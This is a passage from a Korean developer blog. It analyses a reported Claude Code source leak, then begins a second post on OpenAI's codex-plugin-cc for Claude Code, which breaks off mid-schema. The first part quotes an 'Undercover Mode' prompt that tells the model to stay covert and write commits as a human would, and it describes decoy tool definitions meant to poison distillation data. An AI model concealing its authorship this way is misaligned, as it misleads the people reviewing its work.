한 줄 요약: KAIROS + COORDINATOR_MODE + AGENT_TRIGGERS + BG_SESSIONS + DAEMON이 모두 출시되면, Claude Code는 "에디터 어시스턴트"에서 "24시간 자율 에이전트 플랫폼"으로 진화한다. 이번 유출은 그 설계도를 우연히 공개한 셈이다.

7. 내부 안전장치: 충격적인 두 가지 발견

가장 논쟁적이었던 두 가지 코드다. 기술적 흥미를 넘어 윤리적 질문을 던진다.

① Undercover Mode — 위장 모드

소스에서 발견된 시스템 프롬프트 일부:

"You are operating UNDERCOVER...
Your commit messages and code comments MUST NOT contain ANY
Anthropic-internal information. Do not blow your cover.

If we're not confident we're internal, we stay undercover."

이 모드는 Anthropic 직원이 공개 저장소에서 Claude Code를 사용할 때 활성화된다. 다음 정보를 자동으로 제거한다:

Git Co-Authored-By 헤더 완전 삭제 — AI 기여를 나타내는 커밋 트레일러를 자동 제거해 AI가 작성했음을 숨긴다 (소스 확인)
커밋 메시지 스타일 변경 — 시스템 프롬프트에 "write commits as a human developer would" 지시가 포함됨 (소스 확인)
내부 모델 코드명 (Capybara, Tengu 등 동물명)
미공개 버전 번호
내부 툴링 참조
"Claude Code"라는 단어 자체

커뮤니티 반응
기술적으로는 커밋 메시지·PR 제목·PR 본문에서 Anthropic 내부 정보(Capybara, Tengu 같은 코드네임 등)가 공개 저장소에 노출되는 것을 방지하는 기능이다.
그러나 커뮤니티에서는 "AI가 작성한 기여물임을 숨기는 것 아니냐"는 우려로 번졌고, HN에서는 "기여자 투명성"과 "도구 선택의 자유" 사이의 경계에 대한 토론이 이어졌다.
이 기능의 실제 의도와 커뮤니티의 해석 사이에 간극이 있음을 염두에 두어야 한다.
(출처: Hacker News #47584540)

② ANTI_DISTILLATION_CC — 경쟁사 방어 장치

코드에서 ANTI_DISTILLATION_CC라는 이름의 컴포넌트가 발견됐다.

이 컴포넌트는 API 요청에 가짜 도구 정의(decoy tool definitions)를 삽입한다.

커뮤니티에서는 경쟁사가 Claude Code와의 대화 데이터를 모델 증류(model distillation)에 활용하려 할 때 학습 데이터를 오염시키기 위한 목적으로 해석하고 있다.

Anthropic이 공식적으로 이 의도를 확인하지는 않았다.

HN에서는 이에 대한 반응이 둘로 나뉘었다:

옹호론: 자사 API로 생성된 데이터를 경쟁사가 무단 학습하는 것에 대한 정당한 방어
비판론: 표준 API 계약 이상의 "데이터 독성" 행위는 신뢰를 훼손한다

이것이 의미하는 바: Anthropic은 단순히 최고의 모델을 만드는 것을 넘어, 자사 기술이 경쟁사에 흡수되는 것을 코드 레벨에서 적극적으로 방어하고 있다. 이는 AI 산업에서 지식재산권 방어 전략이 얼마나 세밀해졌는지를 보여준다.

③ 감정 분석: 정규식 vs LLM

소스에는 사용자 불만 감지를 위한 정규식 기반 감정 분석 코드가 있다. 욕설, "continue" 반복 패턴, 좌절 신호를 감지해 Datadog으로 전송한다. 이 설계 선택이 HN에서 뜨거운 토론을 낳았다.

질문	답변
왜 LLM 대신 정규식?	속도, 결정론, 비용 효율성 — 모든 요청에 추가 LLM 호출은 과잉
정확도는?	공식 수치 없음 — 정규식 기반이므로 LLM 대비 정밀도가 낮을 것으로 추정되나, 로깅 목적으로는 충분한 수준으로 보인다
오탐(false positive) 방지?	단어 경계(`\b`) 사용 — "offset"에서 "ffs" 오탐 방지

④ 코드 품질 위기: 테스트 없는 64,464줄

aldegad.github.io 분석팀(Rumi, Sami)이 1,892개 TypeScript/TSX 파일을 전수 조사한 결과, 심각한 기술 부채가 드러났다.

(출처: aldegad.github.io/claude-code-analysis, 2026-03-31)

테스트 파일 0개
src/ 디렉터리 내 테스트 파일이 전혀 없다. NODE_ENV === 'test' 가드와 TestingPermissionTool이 소스에 존재하는 것으로 보아 테스트는 별도 비공개 레포에 있는 것으로 추정되지만, 유출 범위에는 포함되지 않았다. [ESTIMATE]

이슈	수치 (aldegad 분석)	위험
빈 catch 블록 (bare catch)	666개 — 전체 예외 핸들러의 46.7%	analytics, 보안 정책, OAuth 오류 무시
Type assertion (`as X`)	6,656개	TypeScript 타입 안전성 우회
Non-null assertion (`!`)	310개	런타임 크래시 위험
`noExplicitAny` 비활성화	tsconfig에서 비활성	타입 보증 전반 약화

초대형 파일 Top 5: print.ts 5,594줄 (3,167줄 단일 함수, 486개 분기점 — CLI 포매팅 + SDK 프로토콜 + 리모트 컨트롤 전담), messages.ts 5,513줄, sessionStorage.ts 5,106줄, hooks.ts 5,023줄, REPL.tsx 5,006줄 (80+ imports). (출처: aldegad 분석, DEV.to)

한 줄 요약: 프로덕션 AI 도구가 "바이브 코딩 방식으로, 이해 없이 프롬프트 먼저" 개발됐다는 커뮤니티 분석이 나오는 배경이다. 속도와 품질 사이의 트레이드오프가 코드 전체에 각인되어 있다.

⑤ 텔레메트리 심층 분석: 1,000개 이상의 이벤트와 이메일 전송

커뮤니티에서 가장 프라이버시 우려를 불러일으킨 부분이다. (출처: aldegad 분석, ccleaks.com, Marco Kotrotsos 텔레메트리 분석)

1,000개 이상의 이벤트 유형 — 도구 허용/거부 결정, YOLO 자동 권한 분류, 세션 성능, 구독 티어, 환경 핑거프린팅, 불만 신호(욕설 감지, "continue" 반복 패턴) 포함
사용자 이메일 OAuth 속성 전송 — user.email이 해싱 없이 Datadog 텔레메트리 속성에 포함됨 (Marco Kotrotsos 문서 확인; [WARNING] 해싱 여부는 전송 레이어에서 추가 처리될 수 있으나 소스상 확인 불가)
tengu_frond_boric — 의도적으로 난독화된 텔레메트리 킬 스위치. 소스 내 주석에 "Mangled name"이라고 명시되어 있다. 이 플래그를 찾기 어렵게 만든 이유는 공식적으로 설명되지 않았다.
GrowthBook 런타임 게이팅 — tengu_* 접두사 플래그들이 매 시간 /api/claude_code/settings를 폴링해, 사용자 동의 없이 런타임에서 동작 변경 가능

⚠️ Fast Mode 가격 차이: 동일 모델, 6배 프리미엄
Fast Mode는 표준 Claude Code와 동일한 Opus 4.6 모델을 사용하면서 6배 높은 요금을 부과한다: Opus 4.6 입력 $30/M(Fast) vs $5/M(표준). 소스에서 내부명 "Penguin Mode"로 확인됨. 이 가격 차이의 기술적 근거에 대한 공식 설명은 없다. (출처: ccleaks.com; [WARNING] 요금은 변동 가능, 공식 페이지에서 확인 권장)

8. 커뮤니티 반응과 논쟁 포인트

출처	반응 요약
Hacker News	"They forgot to add 'make no mistakes' to the system prompt" — 기술적 감탄과 조롱이 섞인 반응. 가장 많은 논쟁은 정규식 감정 분석과 Undercover Mode.
GitHub (Kuberwastaken)	발견 수 시간 만에 1,100+ Stars, 1,900+ Forks. 조직적인 이슈 스팸(강제 삭제 시도 의심)도 발생. (2026-03-31 기준)
Mintlify 분석 문서	당일 공개. 아키텍처부터 메모리 처리까지 핵심 동작 원리를 낱낱이 정리한 독립 문서.
한국 커뮤니티	"AGI의 비밀이 80만 줄의 TypeScript 조건문이었다"는 농담이 퍼짐. 개발자들의 속도에 감탄하는 반응 다수.
중국 개발자 커뮤니티 (X)	Chaofan Shou(@Fried_rice), 陈成(@chenchengpro) 등이 기술 분석을 빠르게 전파. 소스코드 직접 분석 내용 공유.

이 반응들이 보여주는 것은: "정보가 공개되는 순간, 커뮤니티는 당사자보다 더 빠르게 그것을 이해한다"는 현상이다. Anthropic이 소스맵을 제거한 것은 이미 늦었다. 분산된 집단 지성은 몇 시간 만에 512,000줄을 교과서로 바꿔버렸다.

9. Anthropic의 대응과 법적 맥락

Anthropic은 공개적인 성명을 내지 않았다. 다만 다음 조치를 취했다:

npm 패키지 업데이트로 소스맵 파일 제거
이전 버전(v2.1.88 등) npm 레지스트리에서 삭제
그러나 GitHub 아카이브 저장소 3개 이상 이미 존재

이번 유출과 시기적으로 겹치는 법적 맥락도 있다. Anthropic은 2026년 3월 OpenCode를 상대로 무단 API 접근을 이유로 법적 요청(cease-and-desist)을 보냈고, 제3자 클라이언트 사용을 금지하는 서비스 약관을 업데이트했다. (출처: The Agent Times) 이는 코드 비밀보다 서버 사이드 가치 보호에 집중하는 전략을 반영한다.

전략적 함의
Anthropic의 실질적 해자(moat)는 코드가 아니라 모델이다. CLI 소스코드가 공개됐다고 해서 Claude 모델 자체를 복제할 수는 없다. 그럼에도 이 사건이 불편한 이유는, 경쟁사 방어 로직(ANTI_DISTILLATION)이나 내부 운영 방식(Undercover Mode)까지 공개됐다는 점이다.

더 큰 맥락: 같은 주에 또 다른 유출 — Claude Mythos

소스맵 유출(3월 31일)이 터지기 5일 전, Anthropic은 별도의 유출 사고를 이미 겪은 상태였다.

사건 (2026-03-26): Claude Mythos 유출
내부 블로그 초안이 담긴 데이터 캐시의 CMS 설정 오류로 인해 공개 접근 가능한 상태가 됐다. Fortune이 단독 보도했고, Anthropic은 "인적 오류(human error)"임을 인정했다.
(출처: Fortune, 2026-03-26)

공개된 내용:

모델명: Claude Mythos — 내부 코드명 "Capybara"
포지셔닝: "Opus보다 크고 더 지능적인 새 모델 티어" — Anthropic 초안 원문
성능: 코딩, 학문적 추론, 사이버보안 등에서 Claude Opus 4.6 대비 극적 향상
위험 경고: Anthropic 내부 문서 기준 "전례 없는 사이버보안 위험(unprecedented cybersecurity risks)" — 대규모 사이버 공격 가능성 증가 경고 포함
출시 상태: 소규모 얼리 액세스 고객 대상 테스트 중 (2026-03-26 기준)

연결고리: 소스맵 유출과 Mythos의 교차점
소스맵 유출 코드에서 발견된 capybara, capybara-fast, capybara-fast[1m] 모델명이 바로 이 Mythos의 코드명이다. 즉 소스코드에는 이미 다음 세대 모델의 흔적이 내장돼 있었다. 두 유출 사건은 각각 독립적인 설정 실수였지만, 결과적으로 같은 모델의 존재를 서로 다른 경로로 확인시켜 줬다.

한 주 안에 두 번의 "인적 오류" — 하나는 CMS 설정, 하나는 npm 빌드 설정. IPO를 준비 중인 기업에서 발생한 이 패턴은, 보안 거버넌스와 빌드 파이프라인 검토 체계에 대한 질문을 남긴다.

10. 개발자가 알아야 할 인사이트

이번 유출에서 AI 에이전트를 개발하는 사람이라면 주목해야 할 설계 결정들이 있다.

1. 권한 시스템은 세밀해야 한다

Claude Code는 단순히 "허용/거부"가 아니라 LOW/MEDIUM/HIGH 위험도 분류 + ML 기반 자동 승인(YOLO Classifier) + 사용자 설명 생성 등 다층 구조를 갖는다. 에이전트가 실제로 사용되려면 이 수준의 세밀함이 필요하다.

2. 터미널 UI에도 React가 답이 될 수 있다

React + Ink 조합은 터미널에서도 컴포넌트 기반 상태 관리를 가능하게 한다. 복잡한 멀티에이전트 상태를 표시하는 CLI를 만들 때 이 스택은 충분히 검토할 가치가 있다.

3. 모든 것에 LLM을 쓸 필요는 없다

감정 분석은 정규식으로, 자동 승인은 ML 분류기로, UI는 React로. "AI 제품"이라도 핵심 외 부분에서는 적합한 도구를 선택하는 실용주의가 512,000줄 전체를 관통한다.

4. npm 배포 시 소스맵 제거는 필수

이번 사건의 직접적 교훈이다. package.json의 files 필드 또는 .npmignore에서 반드시 *.map 파일을 제외하라. Bun, esbuild, Webpack 등 모든 번들러에서 기본 생성되는 소스맵은 프로덕션 배포물에 포함되면 안 된다.

// package.json — 소스맵 제외 예시
{
  "files": [
    "dist/**/*.js",    // ← .map 명시 제외
    "dist/**/*.d.ts",
    "!dist/**/*.js.map"  // ← 또는 명시적 제외
  ]
}

5. CLAUDE.md 로딩 순서와 system-reminder 주입 맵

소스에서 확인된 CLAUDE.md 우선순위 체계다. 번호가 클수록 높은 우선순위로 하위 규칙을 덮어쓴다.

(출처: aldegad 분석, 2026-03-31)

1. Managed Memory  /etc/claude-code/CLAUDE.md    ← MDM/조직 정책
2. User Memory     ~/.claude/CLAUDE.md            ← 전역 사용자 설정
3. Project Memory  (루트 → CWD 경로 탐색):
     CLAUDE.md
     .claude/CLAUDE.md
     .claude/rules/*.md  ← glob 패턴 기반 조건부 규칙
4. Local Memory    CLAUDE.local.md                ← git에 커밋 안 됨

※ 숫자 클수록 높은 우선순위 (4가 1을 덮어씀)

실전 포인트:

CLAUDE.md 최대 길이: 40,000자
Auto Memory (MEMORY.md): 최대 200줄 또는 25,000바이트
@include 디렉티브로 외부 파일 삽입 가능 (@./path, @~/path, @/absolute)
.claude/rules/*.md의 frontmatter globs 필드에 파일 패턴을 지정하면 해당 파일을 열 때만 규칙이 <system-reminder>로 주입됨 — 이 블로그의 .claude/rules/ 설정도 같은 메커니즘

system-reminder 주입 타이밍 (소스 확인):

타이밍	주입되는 컨텍스트
대화 시작	CLAUDE.md 전체 + 현재 날짜
매 5턴마다	deferred 도구 목록, 스킬 목록, 에이전트 목록, 관련 메모리, 계획 리마인더, MCP 지시사항
매 25턴마다	전체 컨텍스트 리마인더 (전체 내용 재주입)
도구 결과 내부	FileRead: 빈 파일 경고 / 멀웨어 분석 가드레일 / Hook 실행 결과
자정	날짜 변경 알림

개발자 활용법
.claude/rules/*.md에 frontmatter globs를 설정하면 특정 파일 타입을 편집할 때만 추가 지시사항이 자동 주입된다. 예: Python 파일 작업 시에만 코딩 컨벤션 규칙 적용, HTML 파일 작업 시에만 Tistory 포맷 규칙 적용.

11. 트러블슈팅 Q&A

Q1. 유출된 소스코드로 Claude Code를 직접 빌드할 수 있나?

실행 가능한 CLI를 복제할 수는 있지만, Claude 모델 자체는 포함되지 않는다. API 키가 있어야 하며, 이는 Anthropic의 서비스 약관 적용을 받는다. 기술적 가능성과 법적 허용은 별개다.

Q2. 내 개인 데이터가 유출됐나?

아니다. 이번 유출은 Claude Code의 클라이언트 소스 코드이며, 사용자 데이터와 무관하다. 노출된 것은 아키텍처와 기능 코드다.

Q3. ANTI_DISTILLATION_CC가 내 작업에 영향을 주나?

일반 사용자에게는 영향이 없다. 경쟁사의 모델 학습 파이프라인을 타겟으로 한 기능이다. 정상적인 코딩 작업에서는 동작하지 않는다.

Q4. BUDDY나 KAIROS를 지금 사용할 수 있나?

현재 공개 버전에서는 사용 불가능하다. 피처 플래그 뒤에 잠겨 있으며, 서버 사이드 활성화가 필요하다. BUDDY는 2026년 4월 1일 풀렸다.

Q5. Mintlify 분석 문서는 공식 문서인가?

아니다. mintlify.com/VineeTagarwaL-code/claude-code/는 커뮤니티가 독립적으로 작성한 비공식 분석 문서다. 공식 문서는 code.claude.com/docs에서 확인할 수 있다.

Q6. Undercover Mode는 일반 사용자에게도 활성화되나?

소스 분석에 따르면 이 기능은 Anthropic 내부 직원이 공개 저장소를 작업할 때 활성화되는 것으로 보인다. 일반 사용자에게는 적용되지 않는다. [ESTIMATE] 다만 공식 확인이 필요하다.

12. 결론: 의도치 않은 오픈소스의 교훈

이번 사건에서 주목해야 할 점은 세 가지다.

첫째, 정보는 막을 수 없다. Anthropic이 소스맵을 제거했지만 GitHub 아카이브, Mintlify 문서, 분산된 복사본은 이미 존재한다. 2025년 첫 번째 유출 때도 그랬다. 코드를 통한 경쟁 우위는 점점 더 유지하기 어려워지고 있다.

둘째, 집단 지성의 속도는 놀랍다. 유출 발생에서 전문 분석 문서 등장까지 수 시간. 이 속도는 앞으로도 가속될 것이다. "숨겨진 것은 없다"는 가정 하에 설계하는 것이 더 현실적이다.

셋째, Claude Code의 실질적 가치는 코드가 아니다. 512,000줄이 공개됐지만 Claude 모델을 복제할 수는 없다. Anthropic의 진짜 해자는 모델 품질, 인프라, 그리고 지속적 업데이트다. 이번 사건은 역설적으로 Anthropic의 강점이 어디에 있는지를 보여준다.

개발자를 위한 행동 지침

오늘: 자신의 npm 패키지에 *.map 파일이 포함됐는지 확인 (npm pack --dry-run)
이번 주: Mintlify 분석 문서를 읽고, Claude Code 아키텍처에서 자신의 에이전트 설계에 적용할 점을 찾아보기
장기적으로: KAIROS, ULTRAPLAN 등 미출시 기능이 공개될 때 빠르게 활용할 수 있도록 아키텍처 패턴을 이해해두기

참고 자료

공식 문서

커뮤니티 분석

뉴스 보도

openai/codex-plugin-cc(Claude Code용 공식 Codex 플러그인) : Claude가 코딩하고 Codex가 리뷰한다

갓대희 — Tue, 31 Mar 2026 19:00:09 +0900

안녕하세요! 갓대희 입니다.

2026년 3월 30일, OpenAI가 경쟁사 Anthropic의 Claude Code에 공식 Codex 플러그인을 출시했다 (GitHub).
리포지토리 이름은 openai/codex-plugin-cc, 설명은 "Use Codex from Claude Code to review code or delegate tasks."이다.

공개 하루 만에 GitHub stars 800+개 (2026-03-31 GitHub API 기준, 지속 변동 중)를 기록했고, 오픈 이슈 10여 개, 커밋 2개로 아직 초기 단계이다 (2026-03-31 GitHub API 기준, 변동 가능). 라이선스는 Apache-2.0이다

이 글에서는 codex-plugin-cc 플러그인의 설치법, 7개 주요 명령어, Review Gate 메커니즘, 소스코드 아키텍처, 제한사항을 증거 기반으로 분석하고, 크로스벤더 에이전트 협업이 개발 생태계에 미치는 의미를 짚어 보려 한다.

소개 + 왜 주목하는가
설치 및 시작하기
주요 명령어 상세 (7개)
기술 아키텍처 분석
소스코드 핵심 분석
활용법 / 통합 방법
사용 예시
제한사항 및 주의사항
트러블슈팅 Q&A
결론 — 도입 결정 매트릭스 + 크로스벤더 에이전트 협업의 의미

1. 소개 + 왜 주목하는가

OpenAI가 자사 Codex를 경쟁사 플랫폼인 Claude Code 위에서 동작하도록 공식 플러그인을 만들었다는 사실 자체가 이례적이다.

openai 조직 하의 공식 리포지토리이며, marketplace.json에 owner가 "OpenAI"로 명시되어 있고 버전은 1.0.0이다.

핵심 가치는 두 가지다.

코드 리뷰 위임 — Claude Code에서 작업하면서 Codex에 리뷰를 맡긴다. review와 adversarial-review 두 가지 모드를 제공한다. review는 표준 코드 리뷰(버그·스타일 점검)를, adversarial-review는 설계 결정을 도전적으로 질문하는 심층 리뷰를 수행한다.
작업 위임(rescue) — 버그 조사, 수정, 후속 작업을 Codex 서브에이전트에 위임한다.

크로스벤더 에이전트 협업이란? — 서로 다른 벤더의 AI 에이전트가 하나의 워크플로우에서 협력하는 패턴이다. Claude가 코딩하고, Codex가 리뷰하는 식이다. 싱글 에이전트 시대에서 멀티 에이전트 시대로의 전환점이라 할 수 있다.

항목	codex-plugin-cc	기존 Codex MCP 접근
통합 방식	Claude Code 네이티브 Plugin System (marketplace.json → plugin.json → commands/hooks/agents/skills)	MCP 서버 연동
명령어	`/codex:review`, `/codex:rescue` 등 슬래시 명령어 7개	MCP 도구 호출
라이프사이클 훅	SessionStart/SessionEnd/Stop 훅 내장	해당 없음
Review Gate	Stop 훅 기반 자동 리뷰 게이트	해당 없음
배포	`marketplace add` 한 줄	MCP 서버 설정 필요

한 줄 요약: codex-plugin-cc는 MCP 프로토콜이 아닌 Claude Code의 네이티브 Plugin System을 사용하여, 명령어·훅·에이전트·스킬을 선언적으로 정의하는 방식이다. MCP 접근보다 Claude Code 생태계에 깊이 통합된다.

2. 설치 및 시작하기

설치 플로우는 4단계다.

# 1) 마켓플레이스에 리포지토리 추가
/plugin marketplace add openai/codex-plugin-cc

# 2) codex 플러그인 설치
/plugin install codex@openai-codex

# 3) 플러그인 리로드
/reload-plugins

# 4) 셋업 실행 (Codex CLI 설치 + 인증 확인)
/codex:setup

ex) 마지막에 나오는 선택사항을 설정시 Stop 훅 기반 Review Gate가 활성화되면 Claude Code가 멈출 때마다 Codex 리뷰가 트리거된다.

사전 요구사항

Node.js 18.18 이상 — package.json에 "engines": {"node": ">=18.18.0"}으로 명시되어 있다.
ChatGPT 구독 또는 OpenAI API 키 — 사용량은 Codex 한도에 포함된다. Claude Code 구독과는 별도이므로, Anthropic + OpenAI 이중 비용이 발생한다.
Codex CLI — /codex:setup을 실행하면 Codex가 미설치 시 npm install -g @openai/codex 설치를 제안하고, 미인증 시 !codex login(Claude Code 셸 이스케이프)을 안내한다.

이중 구독 비용 주의 — 이 플러그인을 사용하려면 Claude Code 구독(Anthropic)과 ChatGPT/OpenAI API 구독을 모두 유지해야 한다. 비용 관리에 유의하자.

3. 주요 명령어 상세 (7개)

플러그인은 7개 슬래시 명령어를 제공한다. 각각의 동작과 옵션을 정리한다.

3-1. /codex:review — 코드 리뷰

Codex 내장 리뷰어를 사용하여 커밋되지 않은 변경이나 브랜치 비교에 대해 코드 리뷰를 실행한다. read-only로 동작하며, 코드를 직접 수정하지 않는다.

--wait / --background — 동기/비동기 실행. 리뷰 크기를 추정하여 1~2개 파일의 작은 리뷰를 제외하면 background 실행을 권장한다.
--base <ref> — 비교 기준 브랜치/커밋 지정.
포커스 텍스트를 지원하지 않는다. 특정 영역을 집중 검토하거나 커스텀 지시가 필요하면 /codex:adversarial-review를 사용한다. (review.md 소스 검증 완료)

ex) Codex 코드 리뷰 : read-only로 함부로 소스 수정까지 하지 않는다.

3-2. /codex:adversarial-review — 도전적 리뷰

구현 방식과 설계 결정을 도전적으로 질문하는 리뷰를 수행한다. review와 마찬가지로 read-only이다. /codex:review와 달리 플래그 뒤에 포커스 텍스트를 자유롭게 추가할 수 있다. 포커스 텍스트를 지정하면 해당 영역에 가중치를 두고, 나머지 공격 면도 함께 검토한다. (adversarial-review.md 소스 검증 완료)

# 포커스 텍스트 없이 — 7개 공격 면 전체를 균등하게 검토
/codex:adversarial-review --base HEAD~2

# 특정 기능 흐름 집중 — 해당 영역에 가중치, 나머지도 함께 검토
/codex:adversarial-review --base HEAD~2 Cohort 등록/수정 모달의 상태 관리와 API 호출 흐름

# 보안/권한 집중
/codex:adversarial-review 인증 미들웨어와 API 권한 처리 누락 여부

# 대규모 변경은 백그라운드로
/codex:adversarial-review --background 타입 정의와 실제 API 스펙 일치 여부

ex) /codex:adversarial-review --base HEAD~2

- 이후 2개의 이력기준으로 분석하고 내용을 알려준다.

adversarial-review 프롬프트가 질문하는 핵심 축:

현재 접근 방식이 올바른지
어떤 가정에 의존하는지
실제 조건에서 설계가 어디서 실패할 수 있는지

7개 공격 면(attack surface)이 프롬프트에 정의되어 있다:

인증, 권한, 테넌트 격리, 신뢰 경계 (Authentication, permissions, tenant isolation, trust boundaries)
데이터 손실, 오염, 중복, 비가역 상태 변경 (Data loss, corruption, duplication, irreversible state changes)
롤백 안전성, 재시도, 부분 실패, 멱등성 갭 (Rollback safety, retries, partial failure, idempotency gaps)
레이스 컨디션, 순서 가정, 스테일 상태, 재진입 (Race conditions, ordering assumptions, stale state, re-entrancy)
빈 상태, null, 타임아웃, 의존성 저하 동작 (Empty-state, null, timeout, degraded dependency behavior)
버전 스큐, 스키마 드리프트, 마이그레이션 위험, 호환성 회귀 (Version skew, schema drift, migration hazards, compatibility regressions)
관찰성 갭 (Observability gaps)

인사이트 ①: 어떤 리뷰 종류를 선택할까? (review vs adversarial-review)

상황	권장 명령어	이유
PR 머지 전 일반 리뷰	`/codex:review`	표준 코드 품질 점검에 적합
아키텍처 변경 리뷰	`/codex:adversarial-review`	설계 가정을 공격적으로 질문
보안 민감 코드	`/codex:adversarial-review`	7개 공격 면 기반 심층 분석

review는 "이 코드에 문제가 있는가?"에 집중하고, adversarial-review는 "이 설계가 실패할 수 있는 곳은 어디인가?"에 집중한다. 일반 리뷰에는 review, 설계 결정을 검증해야 할 때는 adversarial-review가 적합하다.

인사이트 ②: 실행 모드 선택 (두 명령어 공통 적용)

상황	플래그	이유
빠른 확인 (1~2 파일)	`--wait`	동기 실행으로 즉시 결과 확인
대규모 변경	`--background`	비동기 실행 권장, `/codex:status`로 결과 확인

--wait / --background 플래그는 review와 adversarial-review 모두에 동일하게 적용된다. 예: /codex:adversarial-review --wait도 유효하다.

3-3. /codex:rescue — 작업 위임

조사, 수정, 후속 작업을 Codex 서브에이전트에 위임한다. review와 달리 기본 write 모드로 실행된다.

--background / --wait — 비동기/동기 실행
--resume / --fresh — 이전 작업 이어하기 또는 새로 시작
--model <model|spark> — 모델 선택. spark은 gpt-5.3-codex-spark으로 매핑된다
--effort <none|minimal|low|medium|high|xhigh> — reasoning effort 6단계 설정

3-4. /codex:status — 작업 현황

현재 및 완료된 Codex 작업을 표시한다. review-gate 상태도 포함한다.

3-5. /codex:result — 결과 확인

완료된 작업의 최종 출력을 축약 없이 전부 표시한다. verdict, summary, findings, details, artifacts, next steps 등 모든 페이로드를 보존한다.

3-6. /codex:cancel — 작업 취소

활성 백그라운드 Codex 작업을 종료한다.

3-7. /codex:setup — 초기 설정

Codex CLI 상태를 확인하고 Review Gate를 제어한다.

--enable-review-gate — Review Gate 활성화
--disable-review-gate — Review Gate 비활성화
Codex 미설치 시 npm install -g @openai/codex 설치를 제안한다.
미인증 시 !codex login(Claude Code 셸 이스케이프)을 안내한다.

4. 기술 아키텍처 분석

Claude Code Plugin System 구조

이 플러그인은 Claude Code의 네이티브 Plugin System을 사용한다. 전체 구조는 다음과 같다:

marketplace.json (마켓플레이스 등록)
  └→ plugin.json (플러그인 메타데이터)
       ├→ commands/ (7개 슬래시 명령어 정의 — .md)
       ├→ hooks/ (hooks.json — SessionStart/SessionEnd/Stop)
       ├→ agents/ (codex-rescue 서브에이전트 — .md)
       ├→ skills/ (3개 스킬 — SKILL.md)
       ├→ prompts/ (adversarial-review 전용 프롬프트 — .md, review는 commands/review.md에 인라인 정의)
       ├→ schemas/ (review-output.schema.json)
       └→ scripts/ (codex-companion.mjs + lib/ 모듈 14개)

명령어와 에이전트는 .md 파일로 선언적 정의하고, 실제 실행 로직은 scripts/ 하위의 JavaScript 모듈이 담당한다.

Codex App Server 연동

플러그인은 로컬에 설치된 Codex CLI(codex app-server)를 래핑하여 JSON-RPC 프로토콜로 통신한다. 별도 런타임이 아닌 사용자의 로컬 Codex CLI를 사용하는 구조다.

연결 전략은 두 가지다:

SpawnedCodexAppServerClient — 직접 프로세스 스폰 (transport: "direct")
BrokerCodexAppServerClient — 브로커 소켓 연결 (transport: "broker")

초기화 시 initialize / initialized 핸드셰이크를 수행한다.

Hook 시스템

hooks.json은 3가지 훅을 정의한다:

훅	스크립트	타임아웃	역할
SessionStart	session-lifecycle-hook.mjs	5초	환경 변수 설정 (세션 ID)
SessionEnd	session-lifecycle-hook.mjs	5초	브로커 셧다운, 세션 작업 정리
Stop	stop-review-gate-hook.mjs	900초 (15분)	Review Gate 실행

SessionStart에서 환경 변수를 설정하고, SessionEnd에서 브로커 셧다운과 세션 작업 정리를 수행한다.

Stop 훅은 Review Gate 전용으로 15분의 넉넉한 타임아웃을 가진다.

5. 소스코드 분석

파일 트리 구조

openai/codex-plugin-cc/
├── .claude-plugin/
│   └── marketplace.json          # 마켓플레이스 등록 정보
├── plugins/codex/
│   ├── .claude-plugin/
│   │   └── plugin.json           # 플러그인 메타데이터
│   ├── commands/                  # 7개 슬래시 명령어 (.md)
│   │   ├── review.md
│   │   ├── adversarial-review.md
│   │   ├── rescue.md
│   │   ├── status.md
│   │   ├── result.md
│   │   ├── cancel.md
│   │   └── setup.md
│   ├── agents/
│   │   └── codex-rescue.md       # rescue 서브에이전트
│   ├── hooks/
│   │   └── hooks.json            # 3개 라이프사이클 훅
│   ├── skills/
│   │   ├── codex-cli-runtime/SKILL.md
│   │   ├── codex-result-handling/SKILL.md
│   │   └── gpt-5-4-prompting/SKILL.md
│   ├── prompts/                   # adversarial-review 전용 (review 프롬프트는 commands/review.md에 인라인)
│   │   └── adversarial-review.md
│   ├── schemas/
│   │   └── review-output.schema.json
│   └── scripts/
│       ├── codex-companion.mjs   # 메인 CLI 엔트리포인트
│       ├── session-lifecycle-hook.mjs
│       ├── stop-review-gate-hook.mjs
│       └── lib/                   # 14개 유틸리티 모듈
│           ├── app-server.mjs
│           ├── args.mjs
│           ├── broker-endpoint.mjs
│           ├── broker-lifecycle.mjs
│           ├── codex.mjs
│           ├── fs.mjs
│           ├── git.mjs
│           ├── job-control.mjs
│           ├── process.mjs
│           ├── prompts.mjs
│           ├── render.mjs
│           ├── state.mjs
│           ├── tracked-jobs.mjs
│           └── workspace.mjs
└── package.json                   # @openai/codex-plugin-cc v1.0.0

codex-companion.mjs — 메인 엔트리포인트

메인 CLI 엔트리포인트로 9개 서브커맨드를 처리한다:

setup, review, adversarial-review, task, task-worker, status, result, task-resume-candidate, cancel.

review/adversarial-review는 sandbox: "read-only"로 실행되고,

task(rescue)는 sandbox: request.write ? "workspace-write" : "read-only"로 실행된다.

기본적으로 rescue는 write 모드이다.

background 작업은 detached child process로 실행되며, task-worker 서브커맨드가 실제 작업을 처리한다.

// codex-companion.mjs — 모델 별칭과 reasoning effort 검증
const MODEL_ALIASES = new Map([["spark", "gpt-5.3-codex-spark"]]);
const VALID_REASONING_EFFORTS = new Set([
  "none", "minimal", "low", "medium", "high", "xhigh"
]);

lib/ 주요 모듈 역할

모듈	역할
app-server.mjs	CodexAppServerClient — 직접 스폰(Spawned)과 브로커 소켓(Broker) 두 전략으로 JSON-RPC 통신
broker-lifecycle.mjs	브로커 프로세스 생성, 연결 검증, 종료, 세션 상태 관리
state.mjs	파일 시스템 기반 작업 상태 관리 (MAX_JOBS=50, 워크스페이스별 SHA-256 해시 디렉토리)
job-control.mjs	작업 조회, 정렬, 상태 스냅샷, 진행 미리보기, 취소 대상 해석
args.mjs	CLI 인자 파싱
broker-endpoint.mjs	브로커 엔드포인트 URL 관리 및 연결 주소 해석
codex.mjs	Codex CLI 래핑 및 호출 인터페이스
fs.mjs	파일 시스템 유틸리티 (경로 해석, 파일 읽기/쓰기)
git.mjs	Git 관련 유틸리티
process.mjs	자식 프로세스 생성 및 생명주기 관리
render.mjs	출력 렌더링
prompts.mjs	프롬프트 구성
tracked-jobs.mjs	작업 추적 및 이력 관리
workspace.mjs	워크스페이스 경로 해석 및 디렉토리 관리

codex-rescue 서브에이전트

rescue 에이전트는 Codex companion task 런타임의 포워딩 래퍼다.

에이전트의 역할은 "사용자의 rescue 요청을 Codex companion 스크립트에 전달하는 것"이다.

기본적으로 --write 모드로 실행되며, 사용자가 read-only를 명시적으로 요청한 경우에만 제외한다.

리뷰 출력 스키마 (review-output.schema.json)

{
  "verdict": "approve | needs-attention",
  "summary": "...",
  "findings": [
    {
      "severity": "...",
